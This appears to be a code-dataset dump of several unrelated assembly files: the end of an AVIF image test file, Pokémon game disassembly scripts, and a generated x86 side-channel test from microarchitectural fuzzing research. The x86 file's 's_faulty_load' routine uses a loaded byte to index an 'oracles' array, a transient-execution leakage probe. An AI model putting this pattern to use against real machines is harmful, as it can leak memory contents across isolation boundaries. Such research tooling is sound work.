db 0x00 ; reserved(3) initial_presentation_delay_present(1) reserved(4)
; configOBUs(0)
; obu(0)
db 0x0A ; forbidden(1) obu_type(4) obu_extension_flag(1) obu_has_size_field(1) obu_reserved_1bit(1)
db 0x0B ; leb128_byte(8)
; seqhdr(0)
db 0x00, 0x00, 0x00 ; seq_profile(3) still_picture(1) reduced_still_picture_header(1) timing_info_present_flag(1) initial_display_delay_present_flag(1) operating_points_cnt_minus_1(5) operating_point_idc[i])(12)
db 0x4A, 0xAB, 0xBF, 0xC3, 0x77 ; seq_level_idx[i](5) seq_tier[i](1) frame_width_bits_minus_1(4) frame_height_bits_minus_1(4) max_frame_width_minus_1(11) max_frame_height_minus_1(11) frame_id_numbers_present_flag(1) use_128x128_superblock(1) enable_filter_intra(1) enable_intra_edge_filter(1)
db 0xFF ; enable_interintra_compound(1) enable_masked_compound(1) enable_warped_motion(1) enable_dual_filter(1) enable_order_hint(1) enable_jnt_comp(1) enable_ref_frame_mvs(1) seq_choose_screen_content_tools(1)
db 0xE6 ; seq_choose_integer_mv(1) order_hint_bits_minus_1(3) enable_superres(1) enable_cdef(1) enable_restoration(1) high_bitdepth(1)
db 0x01 ; mono_chrome(1) color_description_present_flag(1) color_range(1) chroma_sample_position(1) separate_uv_delta_q(1) film_grain_params_present(1) bits(2)
; /seqhdr(0)
av1C_end:
pixi_start:
dd BE(pixi_end - pixi_start)
dd "pixi"
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x03 ; (8)
db 0x08 ; (8)
db 0x08 ; (8)
db 0x08 ; (8)
pixi_end:
irot_start:
dd BE(irot_end - irot_start)
dd "irot"
db 0x03 ; (8)
irot_end:
ipco_end:
ipma_start:
dd BE(ipma_end - ipma_start)
dd "ipma"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x01 ; entry_count(32)
db 0x00, 0x01 ; item_ID(16)
db 0x05 ; association_count(8)
db 0x01 ; essential(1) property_index(7)
db 0x02 ; essential(1) property_index(7)
db 0x83 ; essential(1) property_index(7)
db 0x04 ; essential(1) property_index(7)
db 0x85 ; essential(1) property_index(7)
ipma_end:
iprp_end:
iref_start:
dd BE(iref_end - iref_start)
dd "iref"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x0E ; box_size(32)
db 0x63, 0x64, 0x73, 0x63 ; box_type(32) ('cdsc')
db 0x00, 0x02 ; from_item_ID(16)
db 0x00, 0x01 ; reference_count(16)
db 0x00, 0x01 ; to_item_ID(16)
iref_end:
meta_end:
free_start:
dd BE(free_end - free_start)
dd "free"
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
free_end:
mdat_start:
dd BE(mdat_end - mdat_start)
db "mdat"
db 0x00
mdat_end:
; vim: syntax=nasm
| 35.793522 | 309 | 0.518154 |
03cb49f4d3049162eec1fad0648d5a85a6e8100c | 4,074 | asm | Assembly | scripts/PokemonTower6F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | scripts/PokemonTower6F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | scripts/PokemonTower6F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | PokemonTower6F_Script:
call EnableAutoTextBoxDrawing
ld hl, PokemonTower6TrainerHeaders
ld de, PokemonTower6F_ScriptPointers
ld a, [wPokemonTower6FCurScript]
call ExecuteCurMapScriptInTable
ld [wPokemonTower6FCurScript], a
ret
PokemonTower6Script_60b02:
xor a
ld [wJoyIgnore], a
ld [wPokemonTower6FCurScript], a
ld [wCurMapScript], a
ret
PokemonTower6F_ScriptPointers:
dw PokemonTower6Script0
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
dw PokemonTower6Script3
dw PokemonTower6Script4
PokemonTower6Script0:
CheckEvent EVENT_BEAT_GHOST_MAROWAK
jp nz, CheckFightingMapTrainers
ld hl, CoordsData_60b45
call ArePlayerCoordsInArray
jp nc, CheckFightingMapTrainers
xor a
ldh [hJoyHeld], a
ld a, $6
ldh [hSpriteIndexOrTextID], a
call DisplayTextID
ld a, RESTLESS_SOUL
ld [wCurOpponent], a
ld a, 30
ld [wCurEnemyLVL], a
ld a, $4
ld [wPokemonTower6FCurScript], a
ld [wCurMapScript], a
ret
CoordsData_60b45:
dbmapcoord 10, 16
db -1 ; end
PokemonTower6Script4:
ld a, [wIsInBattle]
cp $ff
jp z, PokemonTower6Script_60b02
ld a, $ff
ld [wJoyIgnore], a
ld a, [wd72d]
bit 6, a
ret nz
call UpdateSprites
ld a, $f0
ld [wJoyIgnore], a
ld a, [wBattleResult]
and a
jr nz, .asm_60b82
SetEvent EVENT_BEAT_GHOST_MAROWAK
ld a, $7
ldh [hSpriteIndexOrTextID], a
call DisplayTextID
xor a
ld [wJoyIgnore], a
ld a, $0
ld [wPokemonTower6FCurScript], a
ld [wCurMapScript], a
ret
.asm_60b82
ld a, $1
ld [wSimulatedJoypadStatesIndex], a
ld a, $10
ld [wSimulatedJoypadStatesEnd], a
xor a
ld [wSpritePlayerStateData2MovementByte1], a
ld [wOverrideSimulatedJoypadStatesMask], a
ld hl, wd730
set 7, [hl]
ld a, $3
ld [wPokemonTower6FCurScript], a
ld [wCurMapScript], a
ret
PokemonTower6Script3:
ld a, [wSimulatedJoypadStatesIndex]
and a
ret nz
call Delay3
xor a
ld [wPokemonTower6FCurScript], a
ld [wCurMapScript], a
ret
PokemonTower6F_TextPointers:
dw PokemonTower6Text1
dw PokemonTower6Text2
dw PokemonTower6Text3
dw PickUpItemText
dw PickUpItemText
dw PokemonTower6Text6
dw PokemonTower6Text7
PokemonTower6TrainerHeaders:
def_trainers
PokemonTower6TrainerHeader0:
trainer EVENT_BEAT_POKEMONTOWER_6_TRAINER_0, 3, PokemonTower6BattleText1, PokemonTower6EndBattleText1, PokemonTower6AfterBattleText1
PokemonTower6TrainerHeader1:
trainer EVENT_BEAT_POKEMONTOWER_6_TRAINER_1, 3, PokemonTower6BattleText2, PokemonTower6EndBattleText2, PokemonTower6AfterBattleText2
PokemonTower6TrainerHeader2:
trainer EVENT_BEAT_POKEMONTOWER_6_TRAINER_2, 2, PokemonTower6BattleText3, PokemonTower6EndBattleText3, PokemonTower6AfterBattleText3
db -1 ; end
PokemonTower6Text1:
text_asm
ld hl, PokemonTower6TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
PokemonTower6Text2:
text_asm
ld hl, PokemonTower6TrainerHeader1
call TalkToTrainer
jp TextScriptEnd
PokemonTower6Text3:
text_asm
ld hl, PokemonTower6TrainerHeader2
call TalkToTrainer
jp TextScriptEnd
PokemonTower6Text7:
text_asm
ld hl, PokemonTower2Text_60c1f
call PrintText
ld a, RESTLESS_SOUL
call PlayCry
call WaitForSoundToFinish
ld c, 30
call DelayFrames
ld hl, PokemonTower2Text_60c24
call PrintText
jp TextScriptEnd
PokemonTower2Text_60c1f:
text_far _PokemonTower2Text_60c1f
text_end
PokemonTower2Text_60c24:
text_far _PokemonTower2Text_60c24
text_end
PokemonTower6BattleText1:
text_far _PokemonTower6BattleText1
text_end
PokemonTower6EndBattleText1:
text_far _PokemonTower6EndBattleText1
text_end
PokemonTower6AfterBattleText1:
text_far _PokemonTower6AfterBattleText1
text_end
PokemonTower6BattleText2:
text_far _PokemonTower6BattleText2
text_end
PokemonTower6EndBattleText2:
text_far _PokemonTower6EndBattleText2
text_end
PokemonTower6AfterBattleText2:
text_far _PokemonTower6AfterBattleText2
text_end
PokemonTower6BattleText3:
text_far _PokemonTower6BattleText3
text_end
PokemonTower6EndBattleText3:
text_far _PokemonTower6EndBattleText3
text_end
PokemonTower6AfterBattleText3:
text_far _PokemonTower6AfterBattleText3
text_end
PokemonTower6Text6:
text_far _PokemonTower6Text6
text_end
| 20.892308 | 133 | 0.827933 |
9135dfde4c3f3cef2442fadaa758253d3a40bf6c | 6,987 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1552.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1552.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1552.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x14e22, %rdx
nop
nop
nop
sub %r15, %r15
mov (%rdx), %bp
nop
nop
nop
xor %rdx, %rdx
lea addresses_UC_ht+0xab6a, %rax
nop
nop
nop
add $17395, %r10
movb (%rax), %r8b
nop
and $17841, %rdx
lea addresses_WT_ht+0x13722, %rdi
nop
nop
and $51010, %r10
mov (%rdi), %r15d
nop
nop
nop
nop
nop
sub %rax, %rax
lea addresses_UC_ht+0x19602, %r8
nop
nop
nop
nop
cmp %rdi, %rdi
movw $0x6162, (%r8)
sub %r10, %r10
lea addresses_A_ht+0x15f22, %rsi
lea addresses_A_ht+0xd4e8, %rdi
nop
xor %r15, %r15
mov $127, %rcx
rep movsw
nop
nop
nop
add %rbp, %rbp
lea addresses_UC_ht+0x18122, %rsi
lea addresses_normal_ht+0x9dd2, %rdi
nop
add $53962, %r15
mov $35, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x1c70c, %rcx
xor %rax, %rax
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
and $0xffffffffffffffc0, %rcx
movntdq %xmm5, (%rcx)
nop
nop
nop
and $36761, %rbp
lea addresses_WC_ht+0xf47e, %r15
dec %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%r15)
sub $29846, %r8
lea addresses_A_ht+0x4a2, %r10
nop
nop
nop
nop
nop
add %r8, %r8
mov $0x6162636465666768, %rax
movq %rax, %xmm1
movups %xmm1, (%r10)
nop
nop
and $52733, %rsi
lea addresses_WC_ht+0xe22, %rax
nop
nop
cmp %r15, %r15
vmovups (%rax), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rdx
nop
nop
sub %rbp, %rbp
lea addresses_UC_ht+0x1dec2, %rbp
nop
cmp $27130, %rsi
mov (%rbp), %di
nop
nop
nop
cmp $14841, %r8
lea addresses_normal_ht+0x6e22, %r8
nop
nop
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, (%r8)
nop
nop
nop
cmp $25308, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Faulty Load
lea addresses_D+0x13622, %rax
nop
nop
xor %rcx, %rcx
movb (%rax), %dl
lea oracles, %rsi
and $0xff, %rdx
shlq $12, %rdx
mov (%rsi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 36.581152 | 2,999 | 0.657077 |
217f18880f2a37d6d5babc2252d8506865679039 | 467 | asm | Assembly | oeis/092/A092236.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/092/A092236.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/092/A092236.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A092236: a(n) = (3^n + 2*3^(n/2)*cos(n*Pi/6))/3.
; Submitted by Christian Krause
; 1,2,4,9,24,72,225,702,2160,6561,19764,59292,177633,532170,1595052,4782969,14346720,43040160,129127041,387400806,1162241784,3486784401,10460412252,31381236756,94143533121,282430067922,847289140884,2541865828329,7625595890664
lpb $0
sub $0,1
add $4,$1
add $1,$3
max $5,$1
add $5,$2
mul $2,2
add $2,1
add $2,$4
add $5,1
mov $3,$5
mul $4,2
lpe
mov $0,$2
add $0,1
| 23.35 | 225 | 0.67666 |
1587fdb83303d8747dc71737ff04e4beb40968fa | 174,727 | asm | Assembly | engine/battle/effect_commands.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | engine/battle/effect_commands.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | null | null | null | engine/battle/effect_commands.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 2 | 2021-08-11T19:47:07.000Z | 2022-01-01T07:07:56.000Z | SECTION "Effect Commands", ROMX
CompareMove:
; checks if the move ID in a matches the move in bc
push hl
call GetMoveIndexFromID
ld a, h
cp b
ld a, l
pop hl
ret nz
cp c
ret
GetOppUnderwaterAddr:
call BattleCommand_switchturn
call GetUserUnderwaterAddr
jp BattleCommand_switchturn
GetUserUnderwaterAddr:
ldh a, [hBattleTurn]
and a
ld hl, wPlayerUnderwater
ret z
ld hl, wEnemyUnderwater
ret
DoPlayerTurn:
call SetPlayerTurn
ld a, [wBattlePlayerAction]
and a ; BATTLEPLAYERACTION_USEMOVE?
ret nz
jr DoTurn
DoEnemyTurn:
call SetEnemyTurn
ld a, [wLinkMode]
and a
jr z, DoTurn
ld a, [wBattleAction]
cp BATTLEACTION_STRUGGLE
jr z, DoTurn
cp BATTLEACTION_SWITCH1
ret nc
; fallthrough
DoTurn:
; Read in and execute the user's move effects for this turn.
xor a
ld [wTurnEnded], a
; Effect command checkturn is called for every move.
call CheckTurn
ld a, [wTurnEnded]
and a
ret nz
call UpdateMoveData
DoMove:
; Get the user's move effect.
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
ld c, a
ld b, 0
ld hl, MoveEffectsPointers
add hl, bc
add hl, bc
ld a, BANK(MoveEffectsPointers)
call GetFarHalfword
ld de, wBattleScriptBuffer
.GetMoveEffect:
ld a, BANK(MoveEffects)
call GetFarByte
inc hl
ld [de], a
inc de
cp endmove_command
jr nz, .GetMoveEffect
; Start at the first command.
ld hl, wBattleScriptBuffer
ld a, l
ld [wBattleScriptBufferAddress], a
ld a, h
ld [wBattleScriptBufferAddress + 1], a
.ReadMoveEffectCommand:
; ld a, [wBattleScriptBufferAddress++]
call ReadMoveScriptByte
; endturn_command (-2) is used to terminate branches without ending the read cycle.
cp endturn_command
ret nc
; The rest of the commands (01-af) are read from BattleCommandPointers.
push bc
dec a
ld c, a
ld b, 0
ld hl, BattleCommandPointers
add hl, bc
add hl, bc
add hl, bc
pop bc
ld a, BANK(BattleCommandPointers)
call GetFarBankAddress
rst FarCall
jr .ReadMoveEffectCommand
ReadMoveScriptByte:
ld a, [wBattleScriptBufferAddress]
ld l, a
ld a, [wBattleScriptBufferAddress + 1]
ld h, a
ld a, [hli]
push af
ld a, l
ld [wBattleScriptBufferAddress], a
ld a, h
ld [wBattleScriptBufferAddress + 1], a
pop af
ret
CheckTurn:
BattleCommand_checkturn:
; checkturn
; Repurposed as hardcoded turn handling. Useless as a command.
; Move $ff immediately ends the turn.
ld a, BATTLE_VARS_MOVE
call GetBattleVar
inc a
jp z, EndTurn
xor a
ld [wAttackMissed], a
ld [wEffectFailed], a
ld [wKickCounter], a
ld [wAlreadyDisobeyed], a
ld [wAlreadyFailed], a
ld [wSomeoneIsRampaging], a
ld [wWonderGuardMiss], a
ld a, EFFECTIVE
ld [wTypeModifier], a
ldh a, [hBattleTurn]
and a
jp nz, CheckEnemyTurn
CheckPlayerTurn:
ld hl, wPlayerSubStatus4
bit SUBSTATUS_RECHARGE, [hl]
jr z, .no_recharge
res SUBSTATUS_RECHARGE, [hl]
ld hl, MustRechargeText
call StdBattleTextbox
call CantMove
jp EndTurn
.no_recharge
ld hl, wBattleMonStatus
ld a, [hl]
and SLP
jr z, .not_asleep
dec a
ld [wBattleMonStatus], a
and SLP
jr z, .woke_up
xor a
ld [wNumHits], a
ld de, ANIM_SLP
call FarPlayBattleAnimation
jr .fast_asleep
.woke_up
ld hl, WokeUpText
call StdBattleTextbox
call CantMove
call UpdateBattleMonInParty
ld hl, UpdatePlayerHUD
call CallBattleCore
ld a, $1
ldh [hBGMapMode], a
ld hl, wPlayerSubStatus1
res SUBSTATUS_NIGHTMARE, [hl]
jr .not_asleep
.fast_asleep
ld hl, FastAsleepText
call StdBattleTextbox
; Snore and Sleep Talk bypass sleep.
ld a, [wCurPlayerMove]
ld hl, .sleep_bypass_moves
call CheckMoveInList
jr c, .not_asleep
call CantMove
jp EndTurn
.sleep_bypass_moves
dw SNORE
dw SLEEP_TALK
dw -1
.not_asleep
ld hl, wBattleMonStatus
bit FRZ, [hl]
jr z, .not_frozen
; Flame Wheel and Sacred Fire thaw the user.
ld a, [wCurPlayerMove]
ld hl, .thawing_moves
call CheckMoveInList
jr c, .not_frozen
ld hl, FrozenSolidText
call StdBattleTextbox
call CantMove
jp EndTurn
.thawing_moves
dw FLAME_WHEEL
dw SACRED_FIRE
dw -1
.not_frozen
ld hl, wPlayerSubStatus3
bit SUBSTATUS_FLINCHED, [hl]
jr z, .not_flinched
res SUBSTATUS_FLINCHED, [hl]
ld hl, FlinchedText
call StdBattleTextbox
call CantMove
jp EndTurn
.not_flinched
ld hl, wPlayerDisableCount
ld a, [hl]
and a
jr z, .not_disabled
dec a
ld [hl], a
and $f
jr nz, .not_disabled
ld [hl], a
ld [wDisabledMove], a
ld hl, DisabledNoMoreText
call StdBattleTextbox
.not_disabled
ld a, [wPlayerSubStatus3]
add a
jr nc, .not_confused
ld hl, wPlayerConfuseCount
dec [hl]
jr nz, .confused
ld hl, wPlayerSubStatus3
res SUBSTATUS_CONFUSED, [hl]
ld hl, ConfusedNoMoreText
call StdBattleTextbox
jr .not_confused
.confused
ld hl, IsConfusedText
call StdBattleTextbox
xor a
ld [wNumHits], a
ld de, ANIM_CONFUSED
call FarPlayBattleAnimation
; 50% chance of hitting itself
call BattleRandom
cp 50 percent + 1
jr nc, .not_confused
; clear confusion-dependent substatus
ld hl, wPlayerSubStatus3
ld a, [hl]
and 1 << SUBSTATUS_CONFUSED
ld [hl], a
call HitConfusion
call CantMove
jp EndTurn
.not_confused
ld a, [wPlayerSubStatus1]
add a ; bit SUBSTATUS_ATTRACT
jr nc, .not_infatuated
ld hl, InLoveWithText
call StdBattleTextbox
xor a
ld [wNumHits], a
ld de, ANIM_IN_LOVE
call FarPlayBattleAnimation
; 50% chance of infatuation
call BattleRandom
cp 50 percent + 1
jr c, .not_infatuated
ld hl, InfatuationText
call StdBattleTextbox
call CantMove
jp EndTurn
.not_infatuated
; We can't disable a move that doesn't exist.
ld a, [wDisabledMove]
and a
jr z, .no_disabled_move
; Are we using the disabled move?
ld hl, wCurPlayerMove
cp [hl]
jr nz, .no_disabled_move
call MoveDisabled
call CantMove
jp EndTurn
.no_disabled_move
ld hl, wBattleMonStatus
bit PAR, [hl]
ret z
; 25% chance to be fully paralyzed
call BattleRandom
cp 25 percent
ret nc
ld hl, FullyParalyzedText
call StdBattleTextbox
call CantMove
jp EndTurn
CantMove:
ld a, BATTLE_VARS_SUBSTATUS1
call GetBattleVarAddr
res SUBSTATUS_ROLLOUT, [hl]
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
ld a, [hl]
and $ff ^ (1 << SUBSTATUS_BIDE | 1 << SUBSTATUS_RAMPAGE | 1 << SUBSTATUS_CHARGED)
ld [hl], a
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
res SUBSTATUS_UPROAR, [hl]
call ResetFuryCutterCount
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
push hl
ld hl, .fly_dig_moves
call CheckMoveInList
pop hl
ret nc
res SUBSTATUS_UNDERGROUND, [hl]
res SUBSTATUS_FLYING, [hl]
call GetUserUnderwaterAddr
xor a
ld [hl], a
jp AppearUserRaiseSub
.fly_dig_moves
dw FLY
dw DIG
dw DIVE
dw BOUNCE
dw SHADOW_FORCE
dw -1
OpponentCantMove:
call BattleCommand_switchturn
call CantMove
jp BattleCommand_switchturn
CheckEnemyTurn:
ld hl, wEnemySubStatus4
bit SUBSTATUS_RECHARGE, [hl]
jr z, .no_recharge
res SUBSTATUS_RECHARGE, [hl]
ld hl, MustRechargeText
call StdBattleTextbox
call CantMove
jp EndTurn
.no_recharge
ld hl, wEnemyMonStatus
ld a, [hl]
and SLP
jr z, .not_asleep
dec a
ld [wEnemyMonStatus], a
and a
jr z, .woke_up
ld hl, FastAsleepText
call StdBattleTextbox
xor a
ld [wNumHits], a
ld de, ANIM_SLP
call FarPlayBattleAnimation
jr .fast_asleep
.woke_up
ld hl, WokeUpText
call StdBattleTextbox
call CantMove
call UpdateEnemyMonInParty
ld hl, UpdateEnemyHUD
call CallBattleCore
ld a, $1
ldh [hBGMapMode], a
ld hl, wEnemySubStatus1
res SUBSTATUS_NIGHTMARE, [hl]
jr .not_asleep
.fast_asleep
; Snore and Sleep Talk bypass sleep.
ld a, [wCurEnemyMove]
ld hl, .sleep_bypass_moves
call CheckMoveInList
jr c, .not_asleep
